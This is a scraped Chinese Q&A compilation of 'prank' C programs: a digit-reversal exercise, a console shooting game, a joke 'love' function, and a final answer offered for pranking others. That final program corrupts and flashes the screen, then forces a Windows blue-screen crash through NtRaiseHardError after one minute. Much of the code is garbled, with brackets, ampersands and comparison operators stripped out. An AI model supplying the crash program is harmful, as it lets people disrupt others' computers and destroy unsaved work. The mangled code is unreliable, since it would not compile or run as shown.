c语言中的趣味恶搞函数,C语言恶搞
我现在手里的几个用C语言写的恶搞代码,我想问一下那个怎么用?复制到什么里面?文件后缀是什么?
#includestdio.h
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void daoxu(int n);
void main()
{
int n;
do
{
printf("Input n:\n");
scanf("%d",n);
}while(n99999);
daoxu(n);
}
void daoxu(int n)
{
int a,i=0,count=0;
int b[10];
while(n!=0)
{
a=n%10;
n=n/10;
count++;
b[i]=a;
i++;
printf("%d",a);
}
printf("\n");
printf("该数为%d位数\n",count);
for(i=count-1;i=0;i--)
printf("%d\n",b[i]);
printf("下面是奇偶性判断:\n");
if(b[count-1]/2==0)
printf("1\n");
else
printf("0\n");
}
我用的vc6.0可以处理汉字,如果你用的tc的话自己把汉字换成其他字母描述,否则就是乱码!希望满意,不晓得满足你的最简不
我可以帮助你,你先设置我最佳答案后,我百度Hii教你。
如何用C语言程序恶搞他人
如果初学c语言的话建议先学好语法,开始接触c的时候都是控制台的,可以生成exe的但都是基于控制台的,学好语法才是最重要的,等到用c# vs2005的时候都是模块话的,就可以实现你说的那样的了。切记不要好高骛远。扎实语法,当然你的想法很好。
求一些恶搞程序的C语言源代码
一个打飞机的游戏,DEVc++编译通过:
#include stdio.h
#include conio.h
#include stdlib.h
#include windows.h
#include time.h
#define zlx 10 //增量坐标(x)让游戏框不靠边
#define zly 3 //增量坐标(y)让游戏框不靠边
#define W 26 //游戏框的宽度
#define H 24 //游戏框的高度
int jiem[22][22]={0}, wj=10; //界面数组, 我机位置(初值为10)
int speed=4,density=30, score=0,death=0; //敌机速度, 敌机密度, 玩家成绩,死亡次数
int m=0,n=0; // m,n是控制敌机的变量
void gtxy (int x, int y) //控制光标位置的函数
{ COORD zb; //zb代指坐标
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
void Color(int a) //设定颜色的函数(a应为1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0) //隐藏光标的函数
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指光标, y设为0即隐藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), gb);
}
void csh( ) //初始化函数
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角
for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly); printf("═"); } //打印上横框
for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); } //打印下横框
for(i=1;iH-1;i++) { gtxy(zlx,zly+i); printf("║"); } //打印左竖框
for(i=1;iH-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); } //打印右竖框
Color(14); gtxy(19,2); printf("歼灭敌机"); Color(10);
gtxy(37,5); printf("设置:Esc ");
gtxy(37,7); printf("发射:↑ ");
gtxy(37,9); printf("控制:← → ");
gtxy(37,11);printf("得分:%d",score);
gtxy(37,13); printf("死亡:%d",death);
yinc(1,0);
}
void qcjm( ) //清除界面函数
{ int i,j;
for(i=0;iH-2;i++)
for(j=0;jW-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}
}
void feiji( ) //飞机移动函数
{ int i,j;
for(i=21;i=0;i--) //从底行往上是为了避免敌机直接冲出数组
for(j=0;j22;j++)
{if(i==21jiem[i][j]==3) jiem[i][j]=0; //底行赋值0 以免越界
if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3;
}
if(jiem[20][wj]==3jiem[21][wj]==1) death++;
}
void zidan( ) //子弹移动函数
{ int i,j;
for(i=0;i22;i++)
for(j=0;j22;j++)
{ if(i==0jiem[i][j]==2) jiem[i][j]=0;
if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7");
jiem[i][j]=0,jiem[i-1][j]=2; }
}
}
void print( ) //输出界面函数
{int i,j;
qcjm( );
for(i=0;i22;i++)
for(j=0;j22;j++)
{ gtxy(12+j,4+i);
if(jiem[i][j]==3) {Color(13);printf("□");}
if(jiem[i][j]==2) {Color(10);printf(".");}
if(jiem[i][j]==1) {Color(10);printf("■");}
}
gtxy(37,11); Color(10); printf("得分:%d",score);
gtxy(37,13); printf("死亡:%d",death);
}
void setting( ) //游戏设置函数
{ qcjm( );
gtxy(12,4);printf("选择敌机速度:");
gtxy(12,5);printf(" 1.快 2.中 3.慢");
switch(getche( ))
{case '1': speed=2; break;
case '2': speed=4; break;
case '3': speed=5; break;
default: gtxy(12,6);printf(" 错误!默认值");
}
gtxy(12,7);printf("选择敌机密度:");
gtxy(12,8);printf(" 1.大 2.中 3.小");
switch(getche( ))
{case '1': density=20; break;
case '2': density=30; break;
case '3': density=40; break;
default: gtxy(12,9); printf(" 错误!默认值");
}
for(int i=0;i22;i++)
for(int j=0;j22;j++) jiem[i][j]=0;
jiem[21][wj=10]=1; jiem[0][5]=3;
gtxy(12,10); printf(" 按任意键保存...");
getch( );
qcjm( );
}
void run( ) //游戏运行函数
{ jiem[21][wj]=1; //值为1代表我机(2则为子弹)
jiem[0][5]=3; //值为3代表敌机
SetConsoleTitle("歼灭敌机"); //设置窗口标题
while(1)
{ if (kbhit( )) //如有键按下,控制我机左右移动、发射或进行设定
{ int key;
if((key=getch( ))==224) key=getch( );
switch(key)
{case 75: if(wj0) jiem[21][wj]=0,jiem[21][--wj]=1; break;
case 77: if(wj20) jiem[21][wj]=0,jiem[21][++wj]=1; break;
case 72: jiem[20][wj]=2; break;
case 27: setting( );
}
}
if(++n%density==0) //控制产生敌机的速度
{ n=0;srand((unsigned)time(NULL));
jiem[0][rand( )%20+1]=3;
}
if(++m%speed==0) { feiji( ); m=0; } //控制敌机移动速度(相对子弹而言)
zidan( ); //子弹移动
print( ); //输出界面
Sleep(120); //延时120毫秒
}
}
int main( )
{ csh( );
run( );
return 0;
}
一段女生写的C语言代码(搞笑)
这个算是技术宅的段子吧
从风格上看,很可能是宅男写的 而不是女生
#include "stdio.h" //谭老说:include 和""都是合法的。这位标准方式,在头文件目录下寻找。
#include "stdlib.h" //""现在当前目录下找,若无,则在头文件目录下找。一般:库函数→自编头文件→""
result love(boy, girl)
{
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
if ( girl.愿意等() )
{
while( ! (boy.赚钱 > 100,000 and girl.感情 > 8 ) )
{
for ( day=1; day <=365; day++)
{
if ( day == 情人节 )
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拼命赚钱();
}
}
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
年龄++;
girl.感情--;
}
return girl.goto( another_boy);
}
C语言代码中发现奇怪的函数定义形式。求高手鉴定。
老式函数写法。等同:int u2dos (char *path) {....}
同样的,主函数 等同:void main(int argc,char **argv)
struct _utimbuf ut_buf; 标识符可以以下划线开始。
_utimbuf 是编译系统规定的 “标准变量类型”,它是结构类型。存放 文件建立或修改 的时间的结构,头文件 SYS\UTIME.H 定义了它。所以 这里 不能去掉下划线 !
求一个C语言整人代码!!!
先上代码
#include Windows.h
#include time.h
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
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